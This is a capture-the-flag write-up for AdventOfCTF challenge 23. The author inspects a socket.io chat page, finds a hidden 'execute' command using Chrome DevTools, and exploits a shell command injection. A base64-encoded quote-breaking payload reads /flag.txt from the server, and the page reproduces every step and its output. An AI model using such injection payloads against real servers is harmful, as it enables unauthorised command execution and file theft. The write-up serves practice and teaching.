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author = "Maik de Kruif"
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title = "Challenge 23 - AdventOfCTF"
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date = 2021-03-16T20:52:38+01:00
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description = "A writeup for challenge 23 of AdventOfCTF."
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cover = "img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png"
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tags = [
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"AdventOfCTF",
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"challenge",
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"ctf",
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"hacking",
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"writeup",
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"web",
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"websockets",
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]
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categories = [
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"ctf",
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"writeups",
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"hacking",
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]
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+++
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- Points: 2300
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## Description
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If all you do is talk, there are bound to be secret features. The flag is stored in /flag.txt.
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Visit <https://23.adventofctf.com> to start the challenge.
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## Recon
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When opening the page, we're greeted with, what looks like, a chat screen. If we type a message in the message box and send it, it appears on the screen.
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If we take a look at the source, we also find a bit of javascript:
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```js
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$(function () {
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var socket = io();
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$("form").submit(function () {
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socket.emit("chat message", { message: $("#m").val() });
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$("#m").val("");
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return false;
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});
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socket.on("chat message", function (msg) {
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console.log(msg.command);
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if (msg.command === "code") {
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$("#messages").append($("<li>").html("<pre>" + msg.message + "</pre>"));
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} else {
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$("#messages").append($("<li>").text(msg.message));
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}
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window.scrollTo(0, document.body.scrollHeight);
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});
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});
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```
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## Finding the vulnerability
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From the JavaScript code we can see that the chat uses WebSockets. To take a deeper look at it, let's switch over to the network tab in Chrome and click on the request with the type "websocket".
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{{< figure src="/img/adventofctf/23/websocket.png" title="Websocket in Chrome DevTools" >}}
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If we click on it, a tab with the messages sent on the websocket will open. We can see some numbers here, these are just heartbeat packets to keep the connection alive. Now, let's send a new message and have a look at what it actually sends/receives.
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After sending the message, the following entries are added to the websocket message list.
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```js
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⬆42["chat message", {message: "Hi"}]
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⬇42["chat message", {message: "Hi"}]
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```
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We can see the message contains two parts; the event name and the message itself. We also only see a message variable, while in the javascript code we also saw it looked for a `"command"`. Let's try to manually add it to the message.
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### Manually sending a message
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In Chrome (to my knowledge) we can't easily send a message on a websocket. We could use Burp Suit to do it but for this writeup I'll stick with Chrome. To send a message on the websocket, we need the `socket` variable from the javascript code. To get it, go to the `Sources` tab and click on `(index)`. Now click on line number 28 to add a breakpoint there. We choose this place as it will trigger a breakpoint just before a message gets sent and we thus have access to the socket variable.
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{{< figure src="/img/adventofctf/23/breakpoint.png" title="Javascipt breakpoint in Chrome" >}}
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Now if we try to send a message, chrome will pause the page. The console will now also have the scope of the piece of code at the breakpoint. This means that if we enter `socket` in the console, will get the socket object back:
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```js
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> socket
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< Socket {receiveBuffer: Array(0), sendBuffer: Array(0), ids: 0, acks: {…}, flags: {…}, …}
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```
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Let's save this object to the global scope so we can always access it. To do this, let's enter the following code in the console:
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```js
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window.socket = socket;
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```
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We can then click the continue button or press `F8` to continue the script. To verify we still have access to the socket, we can try to send a message using the console. I used the following code for this:
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```js
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socket.emit("chat message", { message: "Hello" });
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```
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After running this, we also see the message pop up in the chat window.
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### Sending a command
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Because the code tries to read `msg.command`, let's try adding a command to the message. We can do that using the following code:
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```js
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socket.emit("chat message", {
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message: "Hello",
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command: "ls",
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});
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```
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As we expect from the code, `"ls"` is printed to the console but nothing else seems to happen. Maybe the command does not exist, let's try the common `help` command.
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```js
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socket.emit("chat message", { message: "Hello", command: "help" });
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```
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This time it returns a different message: "Allowed message types are: help, execute and empty".
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## Exploit
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The `execute` command looks interesting, so let's take a further look at it.
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```js
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socket.emit("chat message", { message: "Hello", command: "execute" });
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```
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Upon sending it, the server returns "Invalid BASE64". This probably means it is trying to read base64 encoded data. But from where? Let's try replacing the message with a base64 encoded command.
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```bash
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> echo -n "ls" | base64 -w 0
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bHM=⏎
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```
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```js
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socket.emit("chat message", { message: "bHM=", command: "execute" });
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```
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This time we got a different result:
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```text
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ERR: Error: Command failed: /bin/ls 'ls'
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ls: ls: No such file or directory
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```
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This means the backend is trying to list the contents of "ls", let's try again with a `/` as the message:
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```bash
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> echo -n "/" | base64 -w 0
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Lw==⏎
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```
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```js
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socket.emit("chat message", { message: "Lw==", command: "execute" });
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```
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This returns the following:
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```text
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STDOUT: apps
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bin
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dev
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etc
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flag.txt
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home
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lib
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media
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mnt
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opt
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proc
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root
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run
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sbin
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srv
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sys
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tmp
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usr
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var
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```
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The only thing left is reading the `flag.txt` file. From the ls error we know the backend executes the following: `/bin/ls '[MESSAGE]'`. This means we have to construct a command that works around the quotes around our input. An example for the input would be `/'; cat '/flag.txt` as this makes the command become the following:
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```bash
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/bin/ls '/'; cat '/flag.txt'
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```
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Let's try that.
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```bash
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> echo -n "/'; cat '/flag.txt" | base64 -w 0
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Lyc7IGNhdCAnL2ZsYWcudHh0⏎
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```
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```js
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socket.emit("chat message", {
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message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
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command: "execute",
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});
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```
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This will give us the following output:
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```text
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STDOUT: apps
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bin
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dev
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etc
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flag.txt
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home
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lib
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media
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mnt
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opt
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proc
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root
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run
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sbin
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srv
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sys
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tmp
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usr
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var
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NOVI{i_hacked_websockets_and_1_am_still_s@ne}
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```
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## Solution
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We got the flag! It is `NOVI{i_hacked_websockets_and_1_am_still_s@ne}`.
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